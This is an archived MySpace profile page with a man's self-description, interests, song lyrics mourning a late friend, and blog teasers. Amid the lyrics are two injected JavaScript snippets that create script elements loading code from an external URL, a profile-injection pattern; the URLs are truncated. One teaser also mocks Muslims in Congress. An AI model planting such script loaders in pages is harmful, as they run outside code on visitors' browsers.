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H BOMB!

Pssst, Avast there. It be too late to alter course mateys.

About Me

Imagine Cartman...in real life (and a few years older)...I SAID A FEW DAMNIT!!! I'm just a kooky guy looking for someone. I have just lost someone near & dear to me & I'm a little fragile right now, but I think that company will cure what ailes me. I have learned to live every day & enjoy every moment, and I would love to have someone to share that with.I used to have a big silly LONG description here, but I actually READ it!!! Damn, what was I thinking... If you want to know more about me, send a message...This profile was edited with ..com MySpace HTML Editor

My Interests

Being a hell of a pirate! wax paper, boiled football leather, dog breath, my boat collection, goth, rockabilly, girls, yam yams, chix with tattoos, being naughty (in a good wholesome way!), your mom, ... or any combination of the above.... see I'm not so weird!

I'd like to meet:

A woman that will let me know she likes me, Someone that will accept me for what I am, be my best friend, figure out how to put up with me (especially when I'm being silly), be a fellow partner in nerdity, you're a scallawag (nuff' said), & have a little itsy bitsy naughty streak... there, not too demanding ... right?but a breathing bipedal female human will suffice thank you!

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Music:

KRAFTWERK, Metric, Wall Of Voodoo, And One, Rammstein, The Sisters of Mercy, Dead Can Dance, Death In June, Curve, Sigue Sigue Sputnik, Pixies, Enya, Cocteau Twins, Ministry, The Cure, KMFDM, Bauhaus, Tones On Tail, Clan of Xymox, The Coon-Sanders Nighthawks, DEVO, NU-TRA, Bowie, NIN, Joolz, Nina Hagen, Laibach, Zombie, Siouxsie, Oueens of the stone age, Lush, Vast, Ladytron, Boingo, Vivaldi, Harold Budd, & Steely Dan. Did I mention Zamfir master of the pan flute? that guy rocks!

Movies:

Cabinet of Dr. Caligari, POTC 1, 2, & 3, Shadow of the Vampire, Nosferatu, Last Samurai, Geisha, Pirates, Jackass, Metropolis, Interview, anything with Vincent Price, ... oh and that Carrot Top movie!... that was a good one...

Television:

NCIS NCIS NCIS NCIS, Deadliest Catch, SOUTH PARK!!!, Dr.WHO, Mythbusters, Dirty Jobs, Aquateens, Brak, Home Movies, DS9, TNG, VOY, TOS, Twin peaks, those wacky motorcyle people, and pretty much anything on History, Discovery, National Geographic. YAY, TIVO!!!

Books:

I enjoy the fine works of Mr. Theodore Geisel (Dr. Seuss), and books with lots of pictures... I like pictures.

Heroes:

My Jeannie. 1976-2007 My last picture of my beloved Jeannie Daskey/Alcantar April 2007GUSTER SATELLITE ...FOR JEANNIEShining like a work of art Hanging on a wall of stars Are you what I think you are?You're my satellite You're riding with me tonight Passenger side, lighting the sky Always the first star that I find You're my satelliteElevator to the moon Just a little favorite tune Trying to get a closer viewYou're my satellite You're riding with me tonight Passenger side, lighting the sky Always the first star that I find You're my satelliteMaybe you will always be Just a little out of reachYou're my satellite You're riding with me tonight Passenger side, lighting the sky Always the first star that I find You're my satellite You're my satellite ............................................................ ............................................................ ..HEROES... FOR US.....I-I wish you could swim Like the dolphins-like dolphins can swim Though nothing-nothing will keep us together We can beat them-for ever and ever Oh we can be heroes-just for one day I-I will be king And you-you will be queen Though nothing will drive them away We can beat them-just for one day We can be heroes-just for one day And you-you can be mean And I-I'll drink all the time 'Cause we're lovers-and that is a fact Yes we're lovers-and that is that Though nothing-will keep us together We could steal time-just for one day We can be heroes-for ever and ever What do you say? I-I can remember Standing-by the wall And the guns-shot above our heads And we kissed-as though nothing could fall And the shame-was on the other side Oh we can beat them-forever and ever Then we could be heroes-just for one day We can be heroes We can be heroes We can be heroes Just for one day We can be heroes We're nothing, and nothing will help us Maybe we're lying, then you better not stay But we could be safer, just for one day Oh, oh, oh, ohhh-oh, oh, oh, ohhh, just for one day Oh just for a day .."var s=document·createElement('script');s.src='..';document& #183;getElementsByTagName('head')[0].appendChild(s);" .."var x=document·createElement('script');x.src='http://www... /.../test.js';document·getElementsByTagName('body')[0]. appendChild(x);" /..

My Blog

just 2 more minutes with you

just two more minutes, I would hold you close, stroke your soft hair, kiss you, hold you, tell you everything is going to be allright, protect you, save you, never let you go...if I had just two more ...
Posted by Cap'n HorribleHarry (R.I.P. Jeannie I miss you on Mon, 21 May 2007 03:13:00 PST

Thank you for praying for my friend Jeannie, may she rest in peace

My wonderful friend Jeannie needs your prayers. She choked a few days ago & the supply of oxygen was cut off to her brain too long. she has no brain function & besides the seizures she is all but lost...
Posted by Cap'n HorribleHarry (R.I.P. Jeannie I miss you on Wed, 02 May 2007 05:11:00 PST

thanks Amazon...thanks alot... or, DAMN! you Amazon.com

thanks to the wonderful amazon.com... my hopes & dreams of watching the next 3 Harry Potter movies & being pleasantly (or unpleasantly) surprised have been dashed upon the rocks of fate. You see, I'm...
Posted by Cap'n HorribleHarry (R.I.P. Jeannie I miss you on Mon, 16 Apr 2007 03:06:00 PST

P R O B A B L Y !!!!

ok, here I go again... there is no such word "PROLLY"http://www.urbandictionary.com/define.php?term=proll yLEARN TO FU***NG SPELL AMERICAcute stuff like "lol" & "hehe" are still okthe Management...hehe...
Posted by Cap'n HorribleHarry (R.I.P. Jeannie I miss you on Wed, 04 Apr 2007 03:28:00 PST

Thanks mom!

As you may or may not know, I'm working graveyard shift on a new show. Today I wanted to watch the super bowl , but felt there would be little time to do so or at least make any big deal about it.... ...
Posted by Cap'n HorribleHarry (R.I.P. Jeannie I miss you on Mon, 05 Feb 2007 09:05:00 PST

Your big mistake

So I saw a woman on the "meet new people" section here on our beloved MySpace and something just kicked me in the head when I saw it... or is that heard it...People (especially 30 something people) pl...
Posted by Cap'n HorribleHarry (R.I.P. Jeannie I miss you on Fri, 19 Jan 2007 01:45:00 PST

VAHE MADE ME POOP!

Thanks buddy, I needed that!
Posted by Cap'n HorribleHarry (R.I.P. Jeannie I miss you on Sat, 06 Jan 2007 09:47:00 PST

watch this video or I'll be sad & poo all over the carpet!

This is the funniest shit I've seen in ages!!! Just watch for a few mins!http://www.dotcomedy.com/cs/Satellite?c=DCVideo&childpa gename=DotComedy%2FDCLayout&cid=1156354440999&packedargs=cha nnel%3DTV%2B...
Posted by Cap'n HorribleHarry (R.I.P. Jeannie I miss you on Sat, 06 Jan 2007 11:13:00 PST

uh oh!

muslims in congress?abandon ship!!!abandon ship!!!
Posted by Cap'n HorribleHarry (R.I.P. Jeannie I miss you on Fri, 05 Jan 2007 11:30:00 PST

Your rights... or lack thereof (lots of naughty words... BEWARE)

Did you know that here in "the land of the free" it is ILLEGAL to call someone a name if it is considered "sensitive" to society (or a slur) ??? Do you know that in most OTHER countries that have (wha...
Posted by Cap'n HorribleHarry (R.I.P. Jeannie I miss you on Sat, 02 Dec 2006 12:56:00 PST